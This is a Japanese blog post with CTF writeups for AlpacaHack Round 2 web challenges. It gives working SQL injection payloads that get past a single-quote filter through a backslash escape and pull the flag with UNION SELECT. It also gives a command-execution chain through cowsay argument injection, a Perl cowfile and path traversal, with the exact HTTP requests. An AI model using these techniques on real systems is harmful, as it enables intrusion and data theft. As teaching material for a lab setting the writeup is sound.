はまやんはまやんはまやん

hamayanhamayan's blog

AlpacaHack Round 2 (Web) Writeups

https://alpacahack.com/ctfs/round-2

Single LoginはCTF初学者向けに割と細かく書きました。

Simple Login

pythonで書かれたwebサイトが与えられる。初手何をするかであるが、ソースコードが与えられているのでソースコードを読んで脆弱性を探していこう。サイトを巡回して脆弱性を探してみてもいいのだが、ソースコードが提供されている場合はソースコードを読んでサイトの機能や脆弱性、フラグの場所を把握していく方が良い。

ソースコード読み

では、ソースコードを読んでいこう。メインとなるapp.pyは以下の通り。

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

ざっくりとは3つエンドポイントが用意されている。

  • GET / ログイン後にCookieに保存されたユーザー名を出力する
  • GET /login ログイン画面
  • POST / ログイン処理の実装

フラグがどこにあるかを探してみると、データベースに置かれていた。データベースの初期化に使われるSQLファイル init.sql は以下の通り。

USE chall;

DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
    value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');

DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
    username VARCHAR(16) PRIMARY KEY,
    password VARCHAR(16) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

INSERT INTO users (username, password) VALUES ('admin', 'pass');
INSERT INTO users (username, password) VALUES ('hacker', '1337');
  • flagテーブル:フラグが格納されている
  • usersテーブル:ユーザー情報が格納されている

app.pyとinit.sqlを見るとWebサービス側でログイン処理にusersテーブルを利用しているが、flagテーブルは使われていない。一見、flagテーブルにある情報の取得は不可能なようにも見えるが、SQL Injectionという脆弱性を使えば別のテーブルであっても情報を抜き出すことができる。その方向性で考えていこう。

SQL Injection

注意:SQL Injectionとは何かの細かい説明はしないので、別の記事で学習してくることを推奨します。比較的細かく説明しますが、SQL Injectionの基礎が理解できている方がスムーズに読み進めることができます。

SQL InjectionのためにはSQLのクエリが動的に生成されている必要がある。SQLのクエリを生成している部分を見ると入力されたユーザー名・パスワードを使ってクエリ実行するために文字列結合で動的にクエリが作られていた。

cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)

ライブラリなどを使って無害化した状態で埋め込まず単純な文字列結合で埋め込まれているので、SQL Injectionできそう。'を入力すればusername, passwordの文字列部分を抜け出すことができ、自由にSQL文を構築することができるのだが、以下の部分でusername, passwordに'が含まれないことを検証していた。

if "'" in username or "'" in password:
    return "Do not try SQL injection 🤗", 400

ということで、ここからどうしようかなと考えるのが今回の難しいポイント。こういうブラックボックスでの対策は破られる運命にあるので、他にSQL Injectionできそうな手法が無いか探してみる。自分は今回紹介する回避方法は知っていたので、フィルターを見た瞬間解法を思いつき、First Bloodが取れた。そうでない場合に自分ならどうするだろうかという話を載せておく。

まずは、インターネットで手法を検索してみよう。例えばsql injection without single quoteと検索するとこういうページが見つかったりするし、日本語でSQLインジェクションの記事を見ていくとこういうページが見つかったりする。どちらのページにも今回紹介するテクニックが書かれている。

他に、より本質的な調査方針として、仕様を確認してみるという方向性もある。MySQLの文字列を抜け出すのに'以外に良さそうな方針が無いか仕様を参照してみよう。文字列リテラルのサイトを見てみると、今回紹介するテクニックに関連する仕様を見つけることができる。

回り道をしたが、解法に戻ると、今回はbackslashを使ったテクニックを使うことができる。usernameを\にして、passwordをor 1=1 #にしてみよう。これには'は含まれないのでフィルターを回避できる。これを使ってSQL文を作ると以下のようになる。

SELECT * FROM users WHERE username = '{username}' AND password = '{password}'
+
usernameを`\`
passwordを` or 1=1 # `
=
SELECT * FROM users WHERE username = '\' AND password = ' or 1=1 # '

ここでusernameの後ろの部分で\'という部分ができている。これはMySQLの仕様によると文字列中に'を表現する方法である。つまり、もともとは文字列の終端であった'をbackslashを付けることで終端文字として解釈されないようにしている。よって、usernameの後ろの文字列の終端は元々passwordの後ろの文字列の開始として使われていた'となり、埋め込み後は

SELECT * FROM users WHERE username = '[文字列]' or 1=1
※ [文字列]は「\' AND password = 」
※ 末尾の「# '」は末尾コメントとして解釈されるので無視

のように解釈される。これでusernameの状態が何であれ、orで連結された1=1によってすべてのカラムが取得されるようになった。よって、usernameを\にして、passwordをor 1=1 #とすることでadminでログインできることが確認できるはずである。ここまで理解できていれば、フラグまではもうちょっと。

SQL Injectionを利用して別テーブルから情報を持って来る

今回はログインが目的ではなく、別のテーブルから情報を持って来るのが目標である。ログイン処理の後半部分を改めてみてみよう。

conn = None
try:
    conn = db()
    with conn.cursor() as cursor:
        cursor.execute(
            f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        )
        user = cursor.fetchone()
except Exception as e:
    return f"Error: {e}", 500
finally:
    if conn is not None:
        conn.close()

if user is None or "username" not in user:
    return "No user", 400

response = redirect("/")
response.set_cookie("username", user["username"])

SQL文を実行した結果にusernameが含まれているか確認して、含まれていればそのusernameをCookieに入れている。(応答のSet-Cookieから持ってきてもいいが)GET /でusernameが表示できるので、usernameとしてフラグを返すことを考えよう。このために便利なSQL構文としてunion句がある。

union句を使うことで別のテーブルの情報をマージして結果を返すことができるようになる。ベースはSELECT * FROM usersなので、テーブルの形はusername,passwordの型になる。普通にSELECT value FROM flagとするとカラムが1つになるので、適当にもう1つ付けてSELECT value,value FROM flagをunionでくっつけることにしよう。

方針も決まったので答えを作っていく。まず、空の応答が帰るようにSQL Injectionを作るため、usernameを\にして、passwordを#にする。埋め込むと、

SELECT * FROM users WHERE username = '\' AND password = ' # '

となる。見にくいが、usernameが「' AND password = 」である行は存在せず、#以降はコメントで無視されるので、取得結果は

username | password
==============

のように結果が空となる。ここにunionでSELECT value,value FROM flagをくっつける。つまり、usernameを\にして、passwordをUNION SELECT value,value FROM flag #とする。埋め込むと、

SELECT * FROM users WHERE username = '\' AND password = ' UNION SELECT value,value FROM flag # '

となる。これで

username | password
==============
  [flag]  |  [flag]  

となるので、usernameにフラグを入れることが出来た。なので、これでログイン後にリダイレクトでGET /が開かれるとフラグが表示される。

CaaS

javascriptで書かれたcowsayを実行するサイトが与えられる。ソースコードは簡潔で以下。

import express from "express";
import crypto from "node:crypto";
import { $ } from "zx";

const app = express();
const PORT = 3000;

app.use(express.static("public"));

app.get("/say", async (req, res) => {
  const { message = "Hello!" } = req.query;

  try {
    const uuid = crypto.randomUUID();
    await $({
      cwd: "public/out",
      timeout: "2s",
    })`/usr/games/cowsay ${message} > ${uuid}`;
    res.send({ uuid });
  } catch ({ exitCode }) {
    res.status(500).send(exitCode ? "error" : "timeout");
  }
});

app.listen(PORT);

例えばmessageにHello!とやると

 ________
< Hello! >
 --------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

と出てくる。フラグはルート直下に置かれているtxtファイルだが、ファイル名は乱数が付けられているのでRCEまでつなげる必要がある。

コマンド実行時にzxというライブラリが使われていて怪しいが、ライブラリレベルで単純なコマンドインジェクションは防止されている。他にパッと見て怪しい部分もなかった、以前Bunのシェル機能でエスケープを良い感じにかいくぐってRCEする問題がありとても雰囲気が似ていたこともあり、まずはガチャガチャやってみることにした。すると-bを入れてみると、目が変化した。

 __
<  >
 --
        \   ^__^
         \  (==)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

お。コマンドライン引数の指定ができそうである。manページを見てみると、-bのフラグも書いてあった。manページを見るとcowfileというものがあり-fで読み込むことができるとある。Cowfile Formatを見るとなんとperlで書かれているとのこと。どう動くか動かしてみよう。

$ echo 'exec("id");' > test.cow

$ cowsay -f ./test.cow hoge
uid=1000([redacted]) gid=1000([redacted]) groups=1000([redacted]),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),1001(docker)

いいですね。今回は、cowsayの結果が/app/public/outに保存される。なので、cowsayの結果でありながら、Cowfileとして読み込めるものが作れれば任意のコマンドが実行できそうである。あとはエラーを頑張って取り除く。自分は運良く__END__という便利構文が早々に見つかったので直ぐに構築できた。

$ cowsay 'exec("cat /flag*"); __END__' > payload.cow

$ cat payload.cow
 _____________________________
< exec("cat /flag*"); __END__ >
 -----------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

$ cowsay -f ./payload.cow hoge
flag{dummy}

ということで以下の手順でフラグが手に入る。

  1. exec("cat /flag*"); __END__でcowsayする。すると#50acabfa-bea3-4bcb-8b15-b910cf3a62b0のようにファイル名が得られる
  2. 次に-fフラグで実行するために以下のようなリクエストを送る。
GET /say?message[]=-f&message[]=..%2F..%2F..%2F..%2F..%2F..%2Fapp%2Fpublic%2Fout%2F50acabfa-bea3-4bcb-8b15-b910cf3a62b0&message[]=hoge HTTP/1.1
Host: 34.170.146.252:29943
Connection: keep-alive

messageではなくmessage[]で送っているのは、コマンドのスペースをそのままスペースで送るのではなく配列の形で送らないとちゃんと解釈されなかったためである。正直どういう理屈で配列だと動くのかは分かってない。実験すると出来た。

  1. 2で生成されたファイルを参照すると、cat /flag*の結果が入っている。GET /out/[手順2の出力]